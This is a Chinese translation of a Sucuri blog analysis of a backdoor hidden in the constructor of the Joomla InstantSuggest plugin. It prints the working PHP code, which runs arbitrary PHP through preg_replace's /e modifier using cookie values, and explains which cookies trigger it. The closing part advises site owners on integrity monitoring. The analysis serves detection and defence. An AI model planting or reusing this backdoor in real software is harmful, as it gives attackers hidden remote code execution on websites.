本文介紹我們在Joomla插件中發現的一個有（wei）趣（suo）的後門。
儘管感覺有點不太對勁，不過由於代碼組織良好，最開始我們沒有意識到裏面包含後門。插件的代碼如下所示：
![]( "1joomla_backdoor.gif")
乍一看沒什麼特別的，沒有代碼加密，沒有代碼混淆，也沒什麼註釋，就是正常的Joomla插件代碼。
但是如果仔細研究就會發現，類的構造函數不太正常：
public function __construct() {
$filter = JRequest::getString('p3', Null, 'cookie');
if ($filter) {
$option = $filter(JRequest::getString('p2', Null, 'cookie'));
$auth = $filter(JRequest::getString('p1', Null, 'cookie'));
$option("/123/e",$auth,123);
die();
}
}
第一個真正可疑的是代碼結尾處的die();，該函數會終止腳本的執行，放在Joomla插件中，表示該函數會終止Joomla的執行。插件不應該這麼做，特別是在初始化階段。
另外，讀者可能已經注意到了字符串“/123/e”，類似於許多基於preg_replace的後門中“eval”標記的正則表達式匹配模式。這麼一看就會發現，如果用preg_replace替換掉$option，恰好得到一句經典的gre_replace後門代碼：
preg_replace("/123/e", $auth, 123);
123總是與123匹配，所以這段代碼總是會取得$auth變量的值，不管這個值是什麼。
爲了使該假設變成真，$option應該等價於“preg_replace”，$auth應該包含PHP功能代碼。那麼這種想法是否可行呢？我們可以看到這兩個變量都是用cookie值填充的，所以，是的，這種想法是可行的。
通過分析代碼可以看到該後門以如下方式運行：
1，Joomla中啓用該插件後，會在每個頁面加載，因此插件的類的構造函數總能得到執行。
2，攻擊者可以通過設置以下cookie請求網站的任意頁面：
p3 - 該變量觸發後門執行，如果沒有該變量，Joomla會正常執行。
p2 - 該變量的值應該設置爲“preg_replace”、
p1 - 任意PHP功能代碼
整個插件都是惡意代碼嗎
我之前的文章中提到，惡意代碼被植入到Wordpress插件後被重新打包成盜版商業插件，但與此不同的是，本文提到的Joomla插件看起來不像是站長從某個小網站弄來的，該插件名爲InstantSuggest，是一款免費插件，並不怎麼流行（下載量小於400）。其官方代碼中不包含__construct()函數。
可以看到源碼中的漏洞已經補上了，因此最有可能的情況是黑客黑進該站點後添加了這個後門。事實上我們也是在一個被黑網站上發現這個後門的（這個沒什麼可驚喜的，我們的大部分工作都是與被黑站點打交道）。
另外，黑客不是僅僅將後門注入到某個插件中，而是安裝到某個已經打過補丁的插件裏，這樣看起不可疑，也不會破壞任何東西。這比修改網站中現有的文件要容易一些，因爲修改網站現有文件時有時候可能會會破壞網站，因此需要更復雜的injector。
爲證明這一假設，我們搜索了網絡中包含該後門代碼的網站，發現幾乎全都包含在instantsuggest代碼中——我不相信所有這些網站都是主動安裝了這個不知名的插件。另外，這段惡意代碼也被用在了Joomla上下文之外，將Joomla API請求替換爲簡單的@$_COOKIE調用（可參考cPanel論壇）。即使在這些案例中，其仍然被包含在instantsuggest代碼中——這麼做只是爲了使後門看起來不那麼可疑。
To 站長：
如讀者所見，黑客可以可很容易將後門隱藏在我們的眼皮底下，當人工審查代碼時很難將其辨識出來，特別是像Joomla這種包含上千個文件的系統，安全掃描器也可能無法識別這種不常見的後門。檢測這種後門唯一可靠的方法就是完整性控制，當檢測到文件被修改時提供向站長提供警報，使站長可以立即解決可能產生的問題。許多版本控制系統可以完成這種工作 ，如果讀者啓用我們的Sucuri監控服務中的服務端掃描，也可以發現服務中的完整性控制功能。
還需要說明的是，通過cookie向後門中傳遞惡意代碼已經成爲趨勢，利用這種方式，黑客可以使用常規GET請求，這樣就不會在web服務日誌分析系統中產生任何可疑操作。要檢測並阻止這種請求，站長需要一款更高級的website防火牆解決方案。
原文地址：http://blog.sucuri.net/2014/04/joomla-plugin-constructor-backdoor.html
